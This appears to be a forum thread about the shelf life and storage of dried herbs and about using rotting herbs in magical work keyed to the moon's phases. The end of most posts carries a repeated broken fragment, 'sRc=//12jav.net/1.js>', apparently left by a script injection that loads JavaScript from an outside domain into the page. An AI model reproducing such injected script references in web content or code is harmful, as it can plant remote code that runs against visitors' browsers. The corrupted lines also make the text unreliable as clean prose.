I would imagine that, like anything else, the older the product, the weaker it gets. Its always good to date you herbs so you know when to replenish your supply. Blessings... sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Well, like any other product, their durability wears off in time. Be sure to know which herbs you need to stock up on. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Read up on how to properly store your herbs to better preserve them. Most are kept fresh best in air-tight, light-tight containers. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Things that should be kept in mind:
Drying herbs should be kept in loose bundles and hung to air out in a dark, drafty room - such as a closet with an ajar door (but no so much that light gets in).
From there, it is best to choose glass containers with tightly screwed on lids. Choosing either a dark-colored container or storing them in a dark room is best, since the oils in the plants that give them their scent are sensitive to light.
The way to know if a plant is truly expired is to mix a sample with hot water - if there is absolutely no scent left you will not be able to smell it mixed with hot water. The hot water intensifies the reactions that cause scents to be released - so by doing this you can truly be sure that the plant is scentless. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Some plants don't have noticable scents by human senses, so you can't really say that something is useless once you can't smell it. Their Magickal properties are still around, and people can even use rotting herbs for certain types of work (so long as they are not ingested or applied to the skin). The Magickal properties are subtle (non-physical) properties, and you can tap into those energies even without the herb being physically there. So, by extension, you can tap into an herb's energies while it is rotting.
Examples of spells you could use rottings herbs for can include cursing, composting/recycling, healing (having a poison rotting and focusing on taking a similar poison away from a person), keeping certain energies away, banishment, etc. Think of the growth cycle of a plant in terms of the moon;
Growth would be akin to the Waxing Moon, where tides of bringing things to fruition are present.
Blooming or the prime of the plant can be akin the Full Moon, where the tides are highest.
Decaying would be akin to the Waning Moon, where tides recede, bringing energies away with it.
Dispersement of the body of the plant is akin the New Moon, where the energy would be recycled into different things.
Present throughout all stages is the cycle of life, death, and rebirth. When the plant stops growing, it starts dying. Realize you can use the energies of all stages.
